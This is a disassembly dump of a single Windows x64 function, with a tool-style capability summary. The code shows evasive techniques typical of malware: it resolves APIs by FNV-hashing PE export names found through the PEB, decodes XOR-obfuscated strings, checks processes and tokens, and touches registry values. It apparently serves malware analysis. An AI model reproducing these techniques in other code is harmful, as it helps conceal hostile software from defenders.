Function at 0x140011580
Capabilities:
Access peb ldr_data
Delete registry value
Encode data using xor
Generate random numbers using a mersenne twister
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xacc0]
mov eax, 0xadc0
call fcn.14001c350
sub rsp, rax
movaps xmmword [rsp + 0xadb0], xmm6
movaps xmmword [rsp + 0xada0], xmm7
movaps xmmword [rsp + 0xad90], xmm8
movaps xmmword [rsp + 0xad80], xmm9
movaps xmmword [rsp + 0xad70], xmm10
movaps xmmword [rsp + 0xad60], xmm11
movaps xmmword [rsp + 0xad50], xmm12
movaps xmmword [rsp + 0xad40], xmm13
movaps xmmword [rsp + 0xad30], xmm14
mov rax, qword [0x140021040]
xor rax, rsp
mov qword [rbp + 0xac20], rax
xor edi, edi
mov dword [rbp - 0x60], edi
call fcn.1400014d0
mov dword [rbp + 0x588], pe_nt_image_headers64
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400116b6
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400116b6
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov ecx, dword [rdx + r10]
add rcx, r10
mov r8d, 0xfc852dae
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400116b1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140011690
cmp r8d, 0xc05e0e6d
je 0x1400116bb
test r9d, r9d
jne 0x140011670
mov rax, qword [rax]
jmp 0x140011640
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rdx, [rbp + 0x588]
lea rcx, [rbp + 0xa900]
call rax
lea rdx, [rbp + 0xa900]
lea rcx, [rbp + 0x940]
call fcn.1400199a0
nop
lea rdx, str.Cody
lea rcx, [rbp + 0x940]
call fcn.14001a8f0
test al, al
jne 0x140019282
lea rdx, str.Legacy
lea rcx, [rbp + 0x940]
call fcn.14001a8f0
test al, al
jne 0x140019282
mov rax, qword [0x140021788]
test rax, rax
jne 0x1400117f4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rsi, r11
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x1400117d7
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x1400117d7
mov ebx, dword [r10 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [rbx + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0xf3886891
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400117d2
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400117b0
cmp ecx, 0xe66c7881
je 0x140011876
test r8d, r8d
jne 0x140011790
mov r11, qword [r11]
cmp r11, rsi
je 0x1400117ea
cmp qword [r11 + 0x30], 0
jne 0x140011760
mov rax, rdi
mov qword [0x140021788], rax
mov r8d, 0x104
lea rdx, [rbp + 0xaa00]
xor ecx, ecx
call rax
lea rdx, [rbp + 0xaa00]
lea rcx, [rbp + 0x8e0]
call fcn.1400199a0
nop
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x160]
call fcn.1400199a0
nop
mov ebx, 0x2000001
mov dword [rbp - 0x60], ebx
lea rcx, [rbp + 0x160]
call fcn.140001a00
test al, al
jne 0x140011894
lea rdx, str.svchost.exe
lea rcx, [rbp + 0x180]
call fcn.1400199a0
nop
mov ebx, 0x2000003
mov dword [rbp - 0x60], ebx
lea rcx, [rbp + 0x180]
call fcn.140001a00
test al, al
jne 0x140011894
xor sil, sil
jmp 0x140011897
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x1400117ed
mov sil, 1
test bl, 2
je 0x1400118ac
and ebx, 0xfffffffd
lea rcx, [rbp + 0x180]
call fcn.140019910
nop
test bl, 1
je 0x1400118bd
lea rcx, [rbp + 0x160]
call fcn.140019910
test sil, sil
je 0x140011b06
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140011954
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140011954
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xeef3bb28
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001194f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011930
cmp edx, 0xa444c235
je 0x140011959
test r9d, r9d
jne 0x140011910
mov rax, qword [rax]
jmp 0x1400118e0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r11d, dword [rdx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140011a04
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140011a04
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xeff3bcbb
movzx eax, byte [r8]
inc r8
test al, al
je 0x1400119ff
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x1400119e0
cmp edx, 0xe80f8b72
je 0x140011a09
test r9d, r9d
jne 0x1400119c0
mov rcx, qword [rcx]
jmp 0x140011990
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor edx, edx
mov rcx, rsi
call rax
lea rcx, [rbp + 0x8e0]
call fcn.140019630
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.1400199a0
nop
lea rcx, [rbp + 0x1a0]
call fcn.1400021f0
nop
lea rcx, [rbp + 0x1a0]
call fcn.140019910
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140011ae4
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140011ae4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x8d936a49
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140011adf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011ac0
cmp edx, 0xf76df229
je 0x140011ae9
test r9d, r9d
jne 0x140011aa0
mov rax, qword [rax]
jmp 0x140011a70
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140011b94
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140011b94
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x52055bdb
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140011b8f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011b70
cmp edx, 0x65f99a37
je 0x140011b99
test r9d, r9d
jne 0x140011b50
mov rax, qword [rax]
jmp 0x140011b20
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
lea r8, [rbp + 0x480]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r13, [0x140021798]
mov r14d, 4
test eax, eax
je 0x140013681
mov dword [rbp + 0x584], r14d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140011c74
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140011c74
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xd4f95e21
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140011c6f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011c50
cmp edx, 0xfe65c5de
je 0x140011c79
test r9d, r9d
jne 0x140011c30
mov rax, qword [rax]
jmp 0x140011c00
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x584]
mov qword [rsp + 0x20], rcx
mov r9d, r14d
lea r8, [rbp + 0x580]
mov edx, 0x14
mov rcx, qword [rbp + 0x480]
call rax
mov esi, edi
test eax, eax
cmovne esi, dword [rbp + 0x580]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140011d54
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140011d54
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x53f65477
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140011d4f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011d30
cmp edx, 0xbe35744b
je 0x140011d59
test r9d, r9d
jne 0x140011d10
mov rax, qword [rax]
jmp 0x140011ce0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov rcx, qword [rbp + 0x480]
call rax
test esi, esi
je 0x140013681
lea rcx, [rbp + 0x8e0]
call fcn.140019630
mov rbx, rax
movups xmm0, xmmword [str.7.___5_3_fAO__v_b_v]
movups xmmword [rbp + 0x528], xmm0
mov ecx, dword [0x14001d788]
mov dword [rbp + 0x538], ecx
movzx ecx, word [0x14001d78c]
mov word [rbp + 0x53c], cx
movsd xmm0, qword [str.s_06__f_7_BDd]
movsd qword [rbp + 0x4d0], xmm0
mov ecx, dword [0x14001d9f8]
mov dword [rbp + 0x4d8], ecx
movzx eax, word [0x14001d9fc]
mov word [rbp + 0x4dc], ax
mov eax, dword [str.pcyZ]
mov dword [rbp + 0x4cc], eax
movups xmm0, xmmword [0x14001dab0]
movups xmmword [rbp + 0x628], xmm0
movups xmm1, xmmword [0x14001dac0]
movups xmmword [rbp + 0x638], xmm1
movsd xmm0, qword [0x14001dad0]
movsd qword [rbp + 0x648], xmm0
movzx eax, word [0x14001dad8]
mov word [rbp + 0x650], ax
movzx eax, byte [0x14001dada]
mov byte [rbp + 0x652], al
lea rcx, [rbp + 0x7f0]
call fcn.140019b00
nop
mov r15d, dword [0x140021090]
movdqa xmm8, xmmword [0x14001dd40]
movdqa xmm12, xmmword [0x14001dd50]
movdqa xmm9, xmmword [str.IIII]
movdqa xmm6, xmmword [0x14001dd60]
movdqa xmm7, xmmword [0x14001dcd0]
movdqa xmm10, xmmword [0x14001dcf0]
movdqa xmm11, xmmword [0x14001dce0]
movdqa xmm14, xmmword [0x14001dd10]
movdqa xmm13, xmmword [0x14001dd00]
cmp byte [rbp + 0x53d], 0
je 0x140012113
mov r8d, edi
cmp r15d, 2
jl 0x1400120d0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x528]
xorps xmm1, xmm0
movd dword [rbp + 0x528], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x52c]
xorps xmm1, xmm0
movd dword [rbp + 0x52c], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x530]
xorps xmm1, xmm0
movd dword [rbp + 0x530], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x534]
xorps xmm1, xmm0
movd dword [rbp + 0x534], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x538]
xorps xmm1, xmm0
movd dword [rbp + 0x538], xmm1
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x528]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400120e0
lea rax, [rbp + 0x528]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140012124
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 0x7f0]
call fcn.1400197f0
cmp byte [rbp + 0x53d], 0
jne 0x1400123d3
mov r8d, edi
cmp r15d, 2
jl 0x14001238b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x528]
xorps xmm2, xmm1
movd dword [rbp + 0x528], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x52c]
xorps xmm2, xmm1
movd dword [rbp + 0x52c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x530]
xorps xmm2, xmm1
movd dword [rbp + 0x530], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x534]
xorps xmm2, xmm1
movd dword [rbp + 0x534], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x538]
xorps xmm2, xmm1
movd dword [rbp + 0x538], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x528]
add r9, rax
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400123a0
cmp byte [rbp + 0x4cf], 0
je 0x140012492
mov r8d, edi
cmp r15d, 2
jl 0x140012451
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x4cc]
xorps xmm1, xmm0
movd dword [rbp + 0x4cc], xmm1
jmp 0x140012492
lea r9, [rbp + 0x4cc]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140012460
mov rdx, rbx
lea rcx, [rbp + 0x300]
call fcn.1400199a0
mov r10, rax
cmp byte [rbp + 0x4dd], 0
je 0x140012653
mov r8d, edi
cmp r15d, 2
jl 0x140012610
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4d0]
xorps xmm2, xmm1
movd dword [rbp + 0x4d0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4d4]
xorps xmm2, xmm1
movd dword [rbp + 0x4d4], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4d8]
xorps xmm2, xmm1
movd dword [rbp + 0x4d8], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x4d0]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140012620
mov r8, r10
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x280]
call fcn.140019fe0
nop
lea r8, [rbp + 0x4cc]
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.140019f20
nop
mov rbx, qword [rax + 0x10]
mov rcx, rax
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7f0]
call fcn.1400197f0
nop
lea rcx, [rbp + 0x320]
call fcn.140019910
nop
lea rcx, [rbp + 0x280]
call fcn.140019910
nop
lea rcx, [rbp + 0x300]
call fcn.140019910
cmp byte [rbp + 0x4dd], 0
jne 0x140012873
mov r8d, edi
cmp r15d, 2
jl 0x140012832
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4d0]
xorps xmm2, xmm1
movd dword [rbp + 0x4d0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4d4]
xorps xmm2, xmm1
movd dword [rbp + 0x4d4], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4d8]
xorps xmm2, xmm1
movd dword [rbp + 0x4d8], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x4d0]
add r9, rax
nop
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140012840
cmp byte [rbp + 0x4cf], 0
jne 0x140012932
mov r8d, edi
cmp r15d, 2
jl 0x1400128f1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x4cc]
xorps xmm1, xmm0
movd dword [rbp + 0x4cc], xmm1
jmp 0x140012932
lea r9, [rbp + 0x4cc]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
